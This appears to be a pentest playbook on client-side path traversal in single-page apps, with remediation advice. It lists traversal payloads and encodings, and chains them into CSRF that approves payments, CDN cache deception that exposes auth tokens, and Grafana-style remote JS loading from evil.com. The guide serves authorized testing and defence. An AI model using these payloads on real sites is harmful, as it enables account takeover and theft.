Exploiting Client-Side Path Traversal (CSPT / OSRF)
When to Use
- During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params
- When a frontend
fetch()/XHR wrapper prepends/api/or/proxy/and auto-attaches auth headers/cookies - When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs
- When CMS/feature-flag content generates
<link>,<style>, or@importURLs - When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
Critical: Variants Most Often Missed
CSPT lands the traversal on the same origin in the victim's authenticated browser context — not on the server filesystem. The miss is treating it as "just a redirect." Test the full sink matrix:
# 1. Re-target an authenticated request to a sibling API (router does /${param})
?doc=../../v1/admin/users
?doc=../../v1/admin/users.json # add .json/.css if CDN only caches static-looking assets
# 2. CSPT -> CSRF (verb change / re-enter destructive endpoint)
?action=../../payments/approve/.json&_method=POST
# escape the intended resource path then hit password-reset / approve / revoke endpoints
# 3. CSPT -> extension-based CDN cache deception (exfil authenticated JSON)
?file=../../v1/token.css # CDN caches .css as public → secret stored under public key
# 4. CSPT -> open redirect -> XSS/SSRF
?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x
# 5. Dot-segment encodings to defeat naive normalization
../ ..%2f %2e%2e/ %2e%2e%2f %2e./%2e/
..;/ # matrix-param/semicolon variant
../api/%252e%252e/ # DOUBLE url-encoding (frontend decodes before fetch)
Real-world gadget (Grafana CVE-2025-4123/6023): /public/plugins/../../../../..//evil.com/poc/module.js smuggled ../ into the plugin asset loader, chaining open redirect → remote JS (XSS) and, with the Image Renderer plugin, → SSRF.
How to CONFIRM a hit (avoid false negatives)
- Re-targeting: instrument
fetch/XHR and confirm the dispatched URL resolves to a DIFFERENT same-origin endpoint than intended, and still carriescredentials: "include"/ auth headers. - CSRF: the destructive endpoint actually executes (state change observed) when the victim loads your URL.
- Cache deception: request the variant (
...token.css) and watch the response flip toCache-Control: public/max-ageandX-Cache: Hitwhile still returning JSON; then read it back anonymously and get the secret. - Open redirect/XSS: the SPA navigates to attacker origin / executes attacker JS.
- Watch specifically for
init.credentials === "include"— that's what makes a same-origin traversal weaponizable. A request without credentials is usually not impactful.
Workflow
Step 1: Map Sources → Sinks
// Drop in DevTools to surface traversals while you use the UI
(() => {
const o = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET", init?.credentials);
debugger;
}
return o.apply(this, arguments);
};
})();
Wrap XMLHttpRequest.prototype.open, history.pushState, and framework routers (next/router) the same way. Edit IndexedDB/localStorage routing hints with traversal payloads and reload — mutated state often reinjects pre-hydration.
Step 2: Exploit — chain the traversal
# CSPT -> CSRF: craft a URL that injects traversal into the SPA param so the
# authenticated fetch hits a destructive endpoint
https://app.target/#/docs/../../payments/approve/123
# CSPT -> cache deception (account takeover):
1. Lure victim to https://app.target/#/profile/../../v1/token.css
2. Authenticated fetch hits /v1/token.css, CDN caches JSON under public key
3. Attacker fetches https://app.target/v1/token.css anonymously → reads the token
Step 3: Escalate / Impact
# Open redirect -> XSS via plugin/asset loader (Grafana-style)
https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js
# Same primitive flipped to SSRF if a renderer/image plugin follows the redirect server-side
Maintain a scratchpad of working dot-segment variants (..;/, %2e%2e/, %2e./%2e/, double-encoding) and suffix tricks (.css, .json, ; matrix params) for fast replay on new sinks.
Key Concepts
| Concept | Description |
|---|---|
| CSPT / OSRF | Manipulating a same-origin URL the victim's browser fetches with their creds |
| Source | Route params, stored slugs/IDs, UI fragments concatenated into request paths |
| Sink | fetch/XHR wrappers, router.navigate, <link>/@import, service workers |
| CSPT→CSRF | Escape the path to re-enter destructive POST/PUT/DELETE endpoints |
| Cache deception | Static-looking suffix makes CDN cache an authenticated response publicly |
| Double-decode | %252e%252e decoded by the frontend before the request is dispatched |
Tools & Systems
| Tool | Purpose |
|---|---|
| CSPT Burp Extension (Doyensec) | Cluster params reflected into other requests' paths; reissue PoCs with canaries |
| Eval Villain (Firefox) | Monitor sources/sinks of attacker-controlled data |
| CSPT Playground (Doyensec) | Practice traversal→CSRF→XSS chains locally (docker compose up) |
| Browser DevTools | Wrap fetch/XHR/router to detect dispatched traversals |
| Burp / ZAP | Spot %252e%252e/ double-decode patterns in proxy history |
Common Scenarios
Scenario 1: CSPT → Account Takeover via Cache Deception
An SPA builds /api/${slug} with auth headers. slug=../../v1/token.css makes the CDN cache the token JSON under a public .css key; the attacker reads it back unauthenticated and takes over the account.
Scenario 2: CSPT → CSRF
A download button appends a user fragment to /api/files/. Traversing to ../../payments/approve/123 re-targets the authenticated request to a state-changing endpoint, approving a payment as the victim.
Scenario 3: Plugin Loader → XSS/SSRF (Grafana)
Anonymous dashboards enabled; /public/plugins/../../../../..//evil.com/poc/module.js loads attacker JS in the victim's session, and the same traversal redirects the image renderer toward internal hosts (SSRF).
Output Format
## Client-Side Path Traversal (CSPT/OSRF) Finding
**Vulnerability**: Client-Side Path Traversal → CSRF / Cache Deception / XSS
**Severity**: High to Critical (CVSS 7.1–9.3 depending on chain)
**Location**: SPA route param feeding fetch() — e.g. /#/profile/<INPUT>
**OWASP Category**: A01:2021 - Broken Access Control (chained with A03/A10)
### Reproduction Steps
1. Identify fetch building /api/${param} with credentials: "include".
2. Lure victim to /#/profile/../../v1/token.css → authenticated fetch hits cacheable path.
3. CDN stores JSON token under public .css key (X-Cache: Hit, Cache-Control: public).
4. Attacker requests /v1/token.css anonymously → recovers token → account takeover.
### Evidence
| Payload | Dispatched URL | Effect |
|---------|----------------|--------|
| ../../v1/admin/users | /api/v1/admin/users (creds) | Re-target authed request |
| ../../v1/token.css | cached publicly | Secret exfiltration |
| ../../payments/approve/.json | POST executed | CSRF state change |
### Impact
Account takeover, unauthorized state changes (CSRF), exposure of authenticated responses via public cache, and XSS/SSRF when chained with open redirect / asset loaders.
### Recommendation
1. Build request URLs from allow-listed identifiers; reject `../`, `..;/`, and encoded dot-segments after decoding.
2. Resolve/normalize the path client-side and verify it stays within the intended API namespace.
3. Make the CDN vary on auth headers / never cache authenticated JSON; avoid static-looking suffixes on dynamic endpoints.
4. Apply anti-CSRF tokens and SameSite cookies on state-changing endpoints; fix open redirects.